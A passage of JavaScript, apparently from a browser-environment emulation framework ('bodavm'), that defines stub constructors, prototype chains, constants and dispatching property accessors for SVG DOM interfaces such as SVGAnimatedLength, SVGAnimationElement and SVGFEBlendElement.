bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedBoolean', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedBoolean'].prototype, "SVGAnimatedBoolean", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedEnumeration对象 -bodavm.memory.globalobj['SVGAnimatedEnumeration'] = function SVGAnimatedEnumeration(){if (!(this instanceof SVGAnimatedEnumeration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedEnumeration'], "SVGAnimatedEnumeration"); -bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedEnumeration', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedEnumeration'].prototype, "SVGAnimatedEnumeration", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedInteger对象 -bodavm.memory.globalobj['SVGAnimatedInteger'] = function SVGAnimatedInteger(){if (!(this instanceof SVGAnimatedInteger)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedInteger'], "SVGAnimatedInteger"); -bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedInteger', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedInteger'].prototype, "SVGAnimatedInteger", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedLength对象 -bodavm.memory.globalobj['SVGAnimatedLength'] = function SVGAnimatedLength(){if (!(this instanceof SVGAnimatedLength)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLength'], "SVGAnimatedLength"); -bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedLength', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLength'].prototype, "SVGAnimatedLength", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedLengthList对象 -bodavm.memory.globalobj['SVGAnimatedLengthList'] = function SVGAnimatedLengthList(){if (!(this instanceof SVGAnimatedLengthList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedLengthList'], "SVGAnimatedLengthList"); -bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedLengthList', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedLengthList'].prototype, "SVGAnimatedLengthList", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedNumber对象 -bodavm.memory.globalobj['SVGAnimatedNumber'] = function SVGAnimatedNumber(){if (!(this instanceof SVGAnimatedNumber)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumber'], "SVGAnimatedNumber"); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumber', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumber'].prototype, "SVGAnimatedNumber", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedNumberList对象 -bodavm.memory.globalobj['SVGAnimatedNumberList'] = function SVGAnimatedNumberList(){if (!(this instanceof SVGAnimatedNumberList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumberList'], "SVGAnimatedNumberList"); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedPreserveAspectRatio对象 -bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'] = function SVGAnimatedPreserveAspectRatio(){if (!(this instanceof SVGAnimatedPreserveAspectRatio)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'], "SVGAnimatedPreserveAspectRatio"); -bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedRect对象 -bodavm.memory.globalobj['SVGAnimatedRect'] = function SVGAnimatedRect(){if (!(this instanceof SVGAnimatedRect)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedRect'], "SVGAnimatedRect"); -bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedString对象 -bodavm.memory.globalobj['SVGAnimatedString'] = function SVGAnimatedString(){if (!(this instanceof SVGAnimatedString)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedString'], "SVGAnimatedString"); -bodavm.toolsFunc.defineProperty('SVGAnimatedString', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedString', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimatedTransformList对象 -bodavm.memory.globalobj['SVGAnimatedTransformList'] = function SVGAnimatedTransformList(){if (!(this instanceof SVGAnimatedTransformList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedTransformList'], "SVGAnimatedTransformList"); -bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "animVal_get", arguments)}, set:undefined},'prototype'); - -// SVGAnimationElement对象 -bodavm.memory.globalobj['SVGAnimationElement'] = function SVGAnimationElement(){if (!(this instanceof SVGAnimationElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimationElement'], "SVGAnimationElement"); -bodavm.memory.globalobj['SVGAnimationElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGAnimationElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "targetElement", {configurable:true, enumerable:true, get:function targetElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "targetElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onbegin", {configurable:true, enumerable:true, get:function onbegin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_get", arguments)}, set:function onbegin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onrepeat", {configurable:true, enumerable:true, get:function onrepeat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_get", arguments)}, set:function onrepeat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElement", {configurable:true, enumerable:true, writable:true, value:function beginElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElement", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElementAt", {configurable:true, enumerable:true, writable:true, value:function beginElementAt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElementAt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElement", {configurable:true, enumerable:true, writable:true, value:function endElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElement", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElementAt", {configurable:true, enumerable:true, writable:true, value:function endElementAt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElementAt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getCurrentTime", {configurable:true, enumerable:true, writable:true, value:function getCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getCurrentTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getSimpleDuration", {configurable:true, enumerable:true, writable:true, value:function getSimpleDuration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getSimpleDuration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getStartTime", {configurable:true, enumerable:true, writable:true, value:function getStartTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getStartTime", arguments)}},'prototype'); - -// SVGAnimateElement对象 -bodavm.memory.globalobj['SVGAnimateElement'] = function SVGAnimateElement(){if (!(this instanceof SVGAnimateElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateElement'], "SVGAnimateElement"); -bodavm.memory.globalobj['SVGAnimateElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGAnimateElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; - -// SVGAnimateMotionElement对象 -bodavm.memory.globalobj['SVGAnimateMotionElement'] = function SVGAnimateMotionElement(){if (!(this instanceof SVGAnimateMotionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateMotionElement'], "SVGAnimateMotionElement"); -bodavm.memory.globalobj['SVGAnimateMotionElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGAnimateMotionElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; - -// SVGAnimateTransformElement对象 -bodavm.memory.globalobj['SVGAnimateTransformElement'] = function SVGAnimateTransformElement(){if (!(this instanceof SVGAnimateTransformElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimateTransformElement'], "SVGAnimateTransformElement"); -bodavm.memory.globalobj['SVGAnimateTransformElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGAnimateTransformElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; - -// SVGCircleElement对象 -bodavm.memory.globalobj['SVGCircleElement'] = function SVGCircleElement(){if (!(this instanceof SVGCircleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGCircleElement'], "SVGCircleElement"); -bodavm.memory.globalobj['SVGCircleElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGCircleElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGCircleElement', "cx", {configurable:true, enumerable:true, get:function cx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGCircleElement', "cy", {configurable:true, enumerable:true, get:function cy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGCircleElement', "r", {configurable:true, enumerable:true, get:function r (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "r_get", arguments)}, set:undefined},'prototype'); - -// SVGClipPathElement对象 -bodavm.memory.globalobj['SVGClipPathElement'] = function SVGClipPathElement(){if (!(this instanceof SVGClipPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGClipPathElement'], "SVGClipPathElement"); -bodavm.memory.globalobj['SVGClipPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGClipPathElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGClipPathElement', "clipPathUnits", {configurable:true, enumerable:true, get:function clipPathUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGClipPathElement'].prototype, "SVGClipPathElement", "clipPathUnits_get", arguments)}, set:undefined},'prototype'); - -// SVGComponentTransferFunctionElement对象 -bodavm.memory.globalobj['SVGComponentTransferFunctionElement'] = function SVGComponentTransferFunctionElement(){if (!(this instanceof SVGComponentTransferFunctionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGComponentTransferFunctionElement'], "SVGComponentTransferFunctionElement"); -bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "tableValues", {configurable:true, enumerable:true, get:function tableValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "tableValues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "slope", {configurable:true, enumerable:true, get:function slope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "slope_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "intercept", {configurable:true, enumerable:true, get:function intercept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "intercept_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "amplitude", {configurable:true, enumerable:true, get:function amplitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "amplitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "exponent", {configurable:true, enumerable:true, get:function exponent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "exponent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "offset", {configurable:true, enumerable:true, get:function offset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype, "SVGComponentTransferFunctionElement", "offset_get", arguments)}, set:undefined},'prototype'); - -// SVGDefsElement对象 -bodavm.memory.globalobj['SVGDefsElement'] = function SVGDefsElement(){if (!(this instanceof SVGDefsElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDefsElement'], "SVGDefsElement"); -bodavm.memory.globalobj['SVGDefsElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGDefsElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; - -// SVGDescElement对象 -bodavm.memory.globalobj['SVGDescElement'] = function SVGDescElement(){if (!(this instanceof SVGDescElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGDescElement'], "SVGDescElement"); -bodavm.memory.globalobj['SVGDescElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGDescElement'].__proto__=bodavm.memory.globalobj['SVGElement']; - -// SVGEllipseElement对象 -bodavm.memory.globalobj['SVGEllipseElement'] = function SVGEllipseElement(){if (!(this instanceof SVGEllipseElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGEllipseElement'], "SVGEllipseElement"); -bodavm.memory.globalobj['SVGEllipseElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGEllipseElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cx", {configurable:true, enumerable:true, get:function cx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "cy", {configurable:true, enumerable:true, get:function cy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "cy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "rx", {configurable:true, enumerable:true, get:function rx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "rx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGEllipseElement', "ry", {configurable:true, enumerable:true, get:function ry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGEllipseElement'].prototype, "SVGEllipseElement", "ry_get", arguments)}, set:undefined},'prototype'); - -// SVGFEBlendElement对象 -bodavm.memory.globalobj['SVGFEBlendElement'] = function SVGFEBlendElement(){if (!(this instanceof SVGFEBlendElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEBlendElement'], "SVGFEBlendElement"); -bodavm.memory.globalobj['SVGFEBlendElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEBlendElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", {configurable:false, enumerable:true, writable:false, value:16}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", {configurable:false, enumerable:true, writable:false, value:15}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", {configurable:false, enumerable:true, writable:false, value:14}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", {configurable:false, enumerable:true, writable:false, value:13}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", {configurable:false, enumerable:true, writable:false, value:12}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", {configurable:false, enumerable:true, writable:false, value:11}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', 